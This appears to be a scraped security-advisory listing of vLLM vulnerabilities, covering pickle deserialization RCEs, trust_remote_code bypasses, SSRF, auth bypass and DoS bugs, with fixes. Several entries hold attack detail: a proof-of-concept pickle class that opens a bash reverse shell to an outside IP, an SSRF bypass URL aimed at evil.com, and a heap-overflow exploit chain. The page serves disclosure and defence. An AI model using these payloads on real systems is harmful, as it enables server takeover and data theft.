-Infinity
0

Vendor Risk Score

See how vllm compares to other vendors in security performance

View Risk Score →
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Impacted Deployments

Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.

Description

vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.

This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in

https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kvtransfer/kvpipe/mooncakepipe.py#L179

Here recvpyobj() Contains implicit pickle.loads(), which leads to potential RCE.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vllm-project vllm version v0.6.2 contains a vulnerability in the MessageQueue.dequeue() API function. The function uses pickle.loads to parse received sockets directly, leading to a remote code execution vulnerability. An attacker can exploit this by sending a malicious payload to the MessageQueue, causing the victim's machine to execute arbitrary code.

First published (updated )
Severity
9.8
EPSS
0.06%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted Environments

This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.

Summary vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the sendobj and recvobj methods on the CPU side.​

A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.

The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html

Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.

This issue was reported privately to PyTorch and they determined that this behavior was intentional.

Details The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.

1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched: python from vllm.distributed.kvtransfer.kvpipe.pyncclpipe import PyNcclPipe from vllm.config import KVTransferConfig

config=KVTransferConfig( kvip="0.0.0.0", kvport=18888, kvrank=0, kvparallelsize=1, kvbuffersize=1024, kvbufferdevice="cpu" )

p=PyNcclPipe(config=config,localrank=0) p.recvtensor() # Receive data

2. The attacker crafts malicious packets and sends them to the PyNcclPipe service:

python from vllm.distributed.utils import StatelessProcessGroup

class Evil: def reduce(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,))

client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, worldsize=2, )

client.sendobj(obj=Evil(),dst=0)

The call stack triggering ​RCE is as follows:

vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvimpl -> vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvmetadata -> vllm.distributed.utils.StatelessProcessGroup.recvobj -> pickle.loads

Getshell as follows:

!image

Reporters

This issue was reported independently by three different parties:

@kikayli (Zhuque Lab, Tencent) @omjeki Russell Bryant (@russellb)

Fix

https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore socket to the private interface as configured.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.05%
Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

vLLM loads Hugging Face automap dynamic modules during model resolution without gating on trustremotecode, allowing attacker-controlled Python code in a model repo/path to execute at server startup.

---

Impact

An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load. This happens before any request handling and does not require API access.

---

Affected Versions

All versions where vllm/modelexecutor/models/registry.py resolves automap entries with trygetclassfromdynamicmodule without checking trustremotecode (at least current main).

---

Details

During model resolution, vLLM unconditionally iterates automap entries from the model config and calls trygetclassfromdynamicmodule, which delegates to Transformers’ getclassfromdynamicmodule and executes the module code.

This occurs even when trustremotecode is false, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.

Relevant code

- vllm/modelexecutor/models/registry.py:856 — automap resolution - vllm/transformersutils/dynamicmodule.py:13 — delegates to getclassfromdynamicmodule, which executes code

---

Fixes

https://github.com/vllm-project/vllm/pull/32194

Credits

Reported by bugbunny.ai

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.05%
Buffer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE):

1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR 2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution

Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server

Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth.

Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1.

Deployments not serving a video model are not affected.

---

1. Vulnerability Overview

1.1 The Bug: JPEG2000 cdef Box Heap Overflow The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow.

Root Cause - cdef allows channel remapping (e.g., Y→U, U→Y). - Y plane size: W×H; U plane size: (W/2)×(H/2). - Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes.

Example (150×64) - Y plane: 150×64 = 9,600 bytes - U plane: 75×32 = 2,400 bytes - Overflow: 7,200 bytes past the U buffer

1.2 Malicious cdef Box Offset Size Field Value 0 4 Box Length 0x00000016 (22 bytes) 4 4 Box Type 'cdef' 8 2 N (channels) 0x0003 10 2 Channel 0 Cn 0x0000 (Y channel) 12 2 Channel 0 Typ 0x0000 (color) 14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane) 16 2 Channel 1 Cn 0x0001 (U channel) 18 2 Channel 1 Typ 0x0000 (color) 20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane) 22 2 Channel 2 Cn 0x0002 (V channel) 24 2 Channel 2 Typ 0x0000 (color) 26 2 Channel 2 Asoc 0x0003 (→ maps V plane) Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow.

---

Vulnerable Code Chain

1) Entry: vLLM accepts a remote videourl and downloads raw bytes

vLLM’s OpenAI-compatible API supports a videourl content part:

python class VideoURL(TypedDict, total=False): url: Required[str]

class ChatCompletionContentPartVideoParam(TypedDict, total=False): videourl: Required[VideoURL] type: Required[Literal["videourl"]]

Source: src/vllm/entrypoints/chatutils.py.

When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader:

python if urlspec.scheme.startswith("http"): data = connection.getbytes(url, timeout=fetchtimeout, allowredirects=...) return mediaio.loadbytes(data)

Source: src/vllm/multimodal/utils.py (MediaConnector.loadfromurl).

---

2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream

The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes:

python backend = cls().getcv2videoapi() cap = cv2.VideoCapture(BytesIO(data), backend, []) if not cap.isOpened(): raise ValueError("Could not open video stream")

Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.loadbytes).

The backend is selected from OpenCV’s stream-buffered backends registry:

python import cv2.videoioregistry as vr for backend in vr.getStreamBufferedBackends(): if vr.hasBackend(backend) and ...: apipref = backend break return apipref

Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.getcv2videoapi).

Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000).

---

3) The actual overflow: Y (full-res) written into U (quarter-res)

When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes:

- Y plane bytes: \(W \times H\) - U plane bytes: \((W/2) \times (H/2)\) - Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\)

Concrete example tried (150×64):

- Y: \(150 \times 64 = 9600\) bytes - U: \(75 \times 32 = 2400\) bytes - Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation

This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout.

---

The Exploit Chain

Vuln 1: PIL BytesIO Address Leak (ASLR Bypass)

When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like:

cannot identify image file <io.BytesIO object at 0x7a95e299e750> ^^^^^^^^^^^^^^^^ LEAKED ADDRESS!

vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses.

Vuln 2: JPEG2000 cdef Heap Overflow (RCE)

vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln:

vLLM API Request to Completions/Invocation ↓ OpenCV cv2.VideoCapture() ↓ FFmpeg 5.1 (bundled in OpenCV) ↓ JPEG2000 decoder (libopenjp2) ↓ HEAP OVERFLOW via malicious "cdef" box ↓ Overwrite function pointer → RCE!

How the overflow works: - JPEG2000 has a cdef box that remaps color channels - We remap Y (luma) into the U (chroma) buffer - Y plane = 9,600 bytes, U plane = 2,400 bytes - On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images. - This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets. - We set free = system() and opaque = "command string" - When the buffer is freed → system("our command") executes

---

vLLM Attack Surface

Affected Endpoints

Both multimodal endpoints are vulnerable:

POST /v1/chat/completions (with videourl in content) POST /v1/invocations (with videourl in content)

Request Flow

1. Attacker sends request with videourl pointing to malicious .mov file 2. vLLM fetches the video from the URL 3. vLLM passes video bytes to cv2.VideoCapture() 4. OpenCV's bundled FFmpeg decodes JPEG2000 frames 5. Malicious cdef box triggers heap overflow 6. AVBuffer.free pointer overwritten with system() 7. When buffer is released → system("attacker command") executes

---

Versions Affected

| Component | Version | Notes | |-----------|---------|-------| | vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model | | OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable | | FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow | | libopenjp2 | 2.x | Honors malicious cdef box |

---

Fixes

https://github.com/vllm-project/vllm/pull/31987 https://github.com/vllm-project/vllm/pull/32319 https://github.com/vllm-project/vllm/pull/32668

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Summary

The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the loadfromurlasync method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.

Affected Component

- File: vllm/connections.py - Function: loadfromurlasync

Vulnerability Details

Root Cause

The SSRF fix uses urllib3.util.parseurl() to validate and extract the hostname from user-provided URLs. However, loadfromurlasync uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.

These two URL parsers handle backslash characters (\) differently:

| Parser | Input URL | Parsed Host | Parsed Path | Behavior | |--------|-----------|-------------|-------------|----------| | urllib3.parseurl() | https://httpbin.org\@evil.com/ | httpbin.org | /%5C@evil.com/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path | | yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |

Attack Scenario

python Attacker provides this URL maliciousurl = "https://httpbin.org\\@evil.com/"

1. Validation layer (urllib3.parseurl) parsed = urllib3.util.parseurl(maliciousurl) parsed.host == "httpbin.org" ✅ Passes validation

2. Actual request (aiohttp with yarl) async with aiohttp.ClientSession() as session: async with session.get(maliciousurl) as response: # Request actually goes to evil.com! ❌ Bypass!

Why This Happens

1. yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/ 2. urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%5C@evil.com/ which is treated as part of the path, leaving host=httpbin.org

This inconsistency allows an attacker to: - Bypass the hostname allowlist check - Access arbitrary internal/external services - Perform full SSRF attacks

Fixes

- https://github.com/vllm-project/vllm/pull/34743

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.58%
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary When vLLM is configured to use Mooncake, unsafe deserialization exposed directly over ZMQ/TCP will allow attackers to execute remote code on distributed hosts.

Details 1. Pickle deserialization vulnerabilities are well documented. 2. The mooncake pipe is exposed over the network (by design to enable disaggregated prefilling across distributed environments) using ZMQ over TCP, greatly increasing exploitability. ~~Further, the mooncake integration opens these sockets listening on all interfaces on the host, meaning it can not be configured to only use a private, trusted network.~~

Only sendersocket and receiverack are allowed to be accessed publicly, while the data actually decompressed by pickle.loads() comes from recvbytes. Its interface is defined as self.receiversocket.connect(f\"tcp://{dhost}:{drankoffset + 1}\"), where dhost is decodehost, a locally defined address 192.168.0.139,from mooncake.json (https://github.com/kvcache-ai/Mooncake/blob/main/doc/en/vllm-integration-v0.2.md?plain=1#L36).

3. The root problem is recvtensor() calls recvimpl which passes the raw network bytes to pickle.loads(). Additionally, it does not appear that there are any controls (network, authentication, etc) to prevent arbitrary users from sending this payload to the affected service.

Impact This is a remote code execution vulnerability impacting any deployments using Mooncake to distribute KV across distributed hosts.

Remediation This issue is resolved by https://github.com/vllm-project/vllm/pull/14228

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Summary

A vulnerability in ASGI web servers and starlette's trust on those web servers enables an authentication bypass of the OpenAI API AuthenticationMiddleware, which was discovered during @x41sec's source code audit. It allows to use the API without providing the configured VLLMAPIKEY or --api-key.

Details

In https://github.com/vllm-project/vllm/blob/v0.14.0/vllm/entrypoints/openai/apiserver.py#L689-L692 the urlpath is taken from the URL, which is reconstructed by starlette based on the request scope.

py from starlette.datastructures import URL, Headers, MutableHeaders, State

...

urlpath = URL(scope=scope).path.removeprefix(rootpath) headers = Headers(scope=scope) if urlpath.startswith("/v1") and not self.verifytoken(headers): response = JSONResponse(content={"error": "Unauthorized"}, statuscode=401) return response(scope, receive, send) return self.app(scope, receive, send)

The request scope includes the request's Host: header and reconstructs the URL as shown below:

py f"{scheme}://{hostheader}{path}"

Neither starlette nor any of the ASGI servers (including uvicorn, which vllm uses) properly filter the Host: header for invalid characters. This allows an attacker to include special URL characters such as / or ? in the Host: header and thereby control the reconstructed URL and it's .path attribute.

FastAPI/starlette's routing uses the HTTP path and does not depend on the parsed url.path attribute, allowing attackers to reach an endpoint via a certain path while providing a different value in the .path.

Impact - Instances of vllm that use an API Key for the OpenAI API and expose the API to attackers. - Instances behind an RFC-conforming web server (such as nginx) are not affected.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Description The vllm/modelexecutor/weightutils.py implements hfmodelweightsiterator to load the model checkpoint, which is downloaded from huggingface. It use torch.load function and weightsonly parameter is default value False. There is a security warning on https://pytorch.org/docs/stable/generated/torch.load.html, when torch.load load a malicious pickle data it will execute arbitrary code during unpickling.

Impact This vulnerability can be exploited to execute arbitrary codes and OS commands in the victim machine who fetch the pretrained repo remotely.

Note that most models now use the safetensors format, which is not vulnerable to this issue.

References https://pytorch.org/docs/stable/generated/torch.load.html Fix: https://github.com/vllm-project/vllm/pull/12366

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary A memory corruption vulnerability that leading to a crash (denial-of-service) and potentially remote code execution (RCE) exists in vLLM versions 0.10.2 and later, in the Completions API endpoint. When processing user-supplied prompt embeddings, the endpoint loads serialized tensors using torch.load() without sufficient validation.

Due to a change introduced in PyTorch 2.8.0, sparse tensor integrity checks are disabled by default. As a result, maliciously crafted tensors can bypass internal bounds checks and trigger an out-of-bounds memory write during the call to todense(). This memory corruption can crash vLLM and potentially lead to code execution on the server hosting vLLM.

Details A vulnerability that can lead to RCE from the completions API endpoint exists in vllm, where due to missing checks when loading user-provided tensors, an out-of-bounds write can be triggered. This happens because the default behavior of torch.load(tensor, weightsonly=True) since pytorch 2.8.0 is to not perform validity checks for sparse tensors, and this needs to be enabled explicitly using the torch.sparse.checksparsetensorinvariants context manager.

The vulnerability is in the following code in vllm/entrypoints/renderer.py:148

python def loadandvalidateembed(embed: bytes) -> EngineEmbedsPrompt: tensor = torch.load( io.BytesIO(pybase64.b64decode(embed, validate=True)), weightsonly=True, maplocation=torch.device("cpu"), ) assert isinstance(tensor, torch.Tensor) and tensor.dtype in ( torch.float32, torch.bfloat16, torch.float16, ) tensor = tensor.todense()

Because of the missing checks, loading invalid prompt embedding tensors provided by the user can cause an out-of-bounds write in the call to todense .

Impact All users with access to this API are able to exploit this vulnerability. Unsafe deserialization of untrusted input can be abused to achieve DoS and potentially remote code execution (RCE) in the vLLM server process. This impacts deployments running vLLM as a server or any instance that deserializes untrusted/model-provided payloads.

Fix

https://github.com/vllm-project/vllm/pull/27204

Acknowledgements

Finder: AXION Security Research Team (Omri Fainaro, Bary Levy): discovery and coordinated disclosure.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Code Injection
AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Summary

vllm has a critical remote code execution vector in a config class named NemotronNanoVLConfig. When vllm loads a model config that contains an automap entry, the config class resolves that mapping with getclassfromdynamicmodule(...) and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the automap string. Crucially, this happens even when the caller explicitly sets trustremotecode=False in vllm.transformersutils.config.getconfig. In practice, an attacker can publish a benign-looking frontend repo whose config.json points via automap to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host.

Details

The vulnerable code resolves and instantiates classes from automap entries without checking whether those entries point to a different repo or whether remote code execution is allowed.

python class NemotronNanoVLConfig(PretrainedConfig): modeltype = 'LlamaNemotronNanoVL'

def init(self, kwargs): super().init(kwargs)

if visionconfig is not None: assert "automap" in visionconfig and "AutoConfig" in visionconfig["automap"] # <-- vulnerable dynamic resolution + instantiation happens here visionautoconfig = getclassfromdynamicmodule(visionconfig["automap"]["AutoConfig"].split("--")[::-1]) self.visionconfig = visionautoconfig(visionconfig) else: self.visionconfig = PretrainedConfig()

getclassfromdynamicmodule(...) is capable of fetching and importing code from the Hugging Face repo specified in the mapping. trustremotecode is not enforced for this code path. As a result, a frontend repo can redirect the loader to any backend repo and cause code execution, bypassing the trustremotecode guard.

Impact

This is a critical vulnerability because it breaks the documented trustremotecode safety boundary in a core model-loading utility. The vulnerable code lives in a common loading path, so any application, service, CI job, or developer machine that uses vllm’s transformer utilities to load configs can be affected. The attack requires only two repos and no user interaction beyond loading the frontend model. A successful exploit can execute arbitrary commands on the host.

Fixes

https://github.com/vllm-project/vllm/pull/28126

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

Two model implementation files hardcode trustremotecode=True when loading sub-components, bypassing the user's explicit --trust-remote-code=False security opt-out. This enables remote code execution via malicious model repositories even when the user has explicitly disabled remote code trust.

### Details

Affected files (latest main branch):

1. vllm/modelexecutor/models/nemotronvl.py:430 python visionmodel = AutoModel.fromconfig(config.visionconfig, trustremotecode=True)

2. vllm/modelexecutor/models/kimik25.py:177 python cachedgetimageprocessor(self.ctx.modelconfig.model, trustremotecode=True)

Both pass a hardcoded trustremotecode=True to HuggingFace API calls, overriding the user's global --trust-remote-code=False setting.

Relation to prior CVEs: - CVE-2025-66448 fixed automap resolution in vllm/transformersutils/config.py (config loading path) - CVE-2026-22807 fixed broader automap at startup - Both fixes are present in the current code. These hardcoded instances in model files survived both patches — different code paths.

Impact

Remote code execution. An attacker can craft a malicious model repository that executes arbitrary Python code when loaded by vLLM, even when the user has explicitly set --trust-remote-code=False. This undermines the security guarantee that trustremotecode=False is intended to provide.

Remediation: Replace hardcoded trustremotecode=True with self.config.modelconfig.trustremotecode in both files. Raise a clear error if the model component requires remote code but the user hasn't opted in.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.22.1, the vLLM Dockerfile is vulnerable to a dependency confusion attack through the flashinfer-jit-cache package. The package is installed from a custom index (flashinfer.ai/whl/) using --extra-index-url, but the package name was not registered on PyPI, and UVINDEXSTRATEGY="unsafe-best-match" is set globally. An attacker who registers flashinfer-jit-cache on PyPI with version 0.6.11.post2 can execute arbitrary code as root during the Docker build and backdoor every resulting container image, enabling exfiltration of all user prompts, API credentials, and model data from production vLLM deployments This vulnerability is fixed in 0.22.1.

First published (updated )
Severity
8.7
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vLLM versions >= 0.10.2 and < 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed (negative or out-of-bounds) tensor indices, when the prompt-embeds feature is enabled, to trigger crashes or resource exhaustion (denial of service), with potential for out-of-bounds/write-what-where memory corruption. This continues CVE-2025-62164, whose prior fix only disabled the feature by default rather than addressing the root cause.

First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The structuredoutputs.regex API parameter passes a user-supplied regex string directly to grammar compiler backends with no compilation timeout. In the xgrammar backend, the string reaches compileregex() with no guard. In the outlines backend, validateregexisbuildable() blocks structural issues (lookarounds, backreferences) but provides zero protection against exponential DFA state-space explosion. Patterns like (a+)+b pass all checks and hang the inference worker.

Root Cause

backendxgrammar.py:91 — no timeout: python ctx = self.compiler.compileregex(grammarspec)

backendoutlines.py:299–330 — structural checks only, no complexity analysis: python def validateregexisbuildable(regex: str) -> None: sreparse.parse(regex) # AST parse only — does not detect exponential patterns checkunsupported(...) # blocks lookarounds/backrefs, not nested quantifiers

backendoutlines.py:64 — no timeout: python oc.Index(regexstring, vocabulary.inner)

Impact

Denial of service — one request with an adversarial regex pattern hangs an inference worker indefinitely.

Remediation

Wrap compileregex() and oc.Index() calls in a thread with a deadline (e.g., 5 seconds). Add complexity analysis to validateregexisbuildable() to detect nested quantifier patterns before compilation.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.54%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vLLM through 0.29.0 fails to properly clean up decode-side metadata for rejected inference requests in prefill/decode disaggregated deployments. Remote attackers can submit requests with maxtokens=0 to exhaust decode-worker memory without bound until the worker restarts.

First published (updated )
Severity
8.7
EPSS
0.38%
Out-of-bounds Read
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM versions before 0.28.0 fail to validate the lower bound of token IDs in the /v1/embeddings and /pooling endpoints, allowing unauthenticated attackers to crash the engine by submitting negative token IDs. A single request with a negative token ID triggers a CUDA device-side assertion that poisons the GPU context, causing all subsequent requests to fail until the process restarts.

First published (updated )
Severity
8.7
EPSS
0.63%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM through 0.29.0 contains a denial of service vulnerability in P2P KV offloading when OffloadingConnector is configured with TieringOffloadingSpec and a peer-to-peer secondary tier. Attackers can supply arbitrary remote host and port values in kvtransferparams to create unreachable peer sessions that retain ZeroMQ sockets until the context quota is exhausted, causing an uncaught ZMQError that crashes EngineCore and stops all inference.

First published (updated )
Severity
8.7
EPSS
0.63%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM through 0.29.0 fails to validate the tpsize parameter in kvtransferparams on OpenAI-compatible completion endpoints, allowing attackers to allocate unbounded memory. Attackers can supply arbitrary tpsize values in prefill/decode disaggregated deployments to exhaust memory and trigger kernel OOM-kill of the decode worker process.

First published (updated )
Severity
8.7
EPSS
0.63%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM through 0.29.0 contains a denial of service vulnerability in the NIXL connector's prefix caching implementation that fails to properly validate block counts across multi-prompt completion requests in prefill/decode disaggregated deployments. Attackers can trigger an assertion failure in NixlBaseConnectorWorker.applyprefixcaching by submitting completion requests with multiple prompts of varying lengths, causing the decode worker to terminate and become unavailable until restarted.

First published (updated )
Severity
8.7
EPSS
0.63%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM Mooncake connector through 0.29.0 fails to properly manage GPU KV cache block ownership when concurrent child requests share a single transfer ID in prefill/decode disaggregated deployments. Attackers can trigger GPU memory exhaustion by submitting completion requests with multiple prompts, causing orphaned KV cache blocks to accumulate until process restart and eventually preventing legitimate requests from executing.

First published (updated )
Severity
8.7
EPSS
0.63%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM versions through 0.29.0 contain a denial of service vulnerability in the NIXL connector's metadata handling for prefill/decode disaggregated deployments. Attackers can send requests with incomplete kvtransferparams dictionary entries to trigger an uncaught KeyError in EngineCore scheduling, causing the decode engine to terminate and making all routed requests fail until manual restart.

First published (updated )
Severity
8.5
EPSS
0.21%
Code Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

vLLM before 0.28.0 contains a remote code execution vulnerability in the LlavaOnevision2 processor loader that ignores the trustremotecode parameter when loading remote processor classes. Attackers can craft a malicious model with arbitrary code in processingllavaonevision2.py that executes with vLLM process authority even when trustremotecode is set to False.

First published (updated )
Severity
8.3
Out-of-bounds Read
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

Users can crash the vLLM engine serving multimodal models by passing multimodal embedding inputs with correct ndim but incorrect shape (e.g. hidden dimension is wrong), regardless of whether the model is intended to support such inputs (as defined in the Supported Models page).

The issue has existed ever since we added support for image embedding inputs, i.e. #6613 (released in v0.5.5)

Details

Using image embeddings as an example:

- For models that support image embedding inputs, the engine crashes when scattering the embeddings to inputsembeds (mismatched shape) - For models that don't support image embedding inputs, the engine crashes when validating the inputs inside getinputembeddings (validation fails).

This happens because we only validate ndim of the tensor, but not the full shape, in input processor (via MultiModalDataParser).

Impact

- Denial of service by crashing the engine

Mitigation

- Use API key to limit access to trusted users. - Set --limit-mm-per-prompt to 0 for all non-text modalities to ban multimodal inputs, which includes multimodal embedding inputs. However, the model would then only accept text, defeating the purpose of using a multi-modal model.

Resolution

- https://github.com/vllm-project/vllm/pull/27204

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

vLLM is an inference and serving engine for large language models. In versions from 0.22.1 through 0.28.0, the operator-supplied model revision pin (--revision / --code-revision) is not propagated to several Hugging Face artifact loads for the FunAudioChat and Tarsier2 architectures: the WhisperFeatureExtractor and speechtokenizer PreTrainedTokenizerFast loads in vllm/modelexecutor/models/funaudiochat.py and the Qwen2VLConfig.frompretrained call used by Tarsier2ProcessingInfo in vllm/modelexecutor/models/qwen2vl.py. As a result, deployments pinned to a reviewed revision still resolve these behavior-affecting processor, tokenizer, and config artifacts from the repository's default revision, so a later change to the upstream default branch can alter audio preprocessing, speech tokenizer behavior, or Tarsier2 configuration without any change to the operator's configured pin. This is a supply-chain integrity and reproducibility failure for pinned deployments; it is residual to the earlier fix tracked as GHSA-3ww4-5jv9-j5gm / CVE-2026-47155 and does not constitute remote code execution or a trustremotecode=False bypass. The issue is fixed in version 0.28.0.

First published (updated )
Severity
8.2
Input Validation
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM versions 0.22.0 through 0.23.0 fail to validate stoptokenids against vocabulary bounds in Rust HTTP and gRPC frontends, allowing out-of-vocabulary token IDs to reach MinTokensLogitsProcessor. Attackers can submit requests with mintokens greater than zero and out-of-vocabulary stoptokenids to trigger CUDA tensor indexing failures that leave EngineCore in a fatal state requiring service restart.

First published (updated )
Severity
8
AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Environments

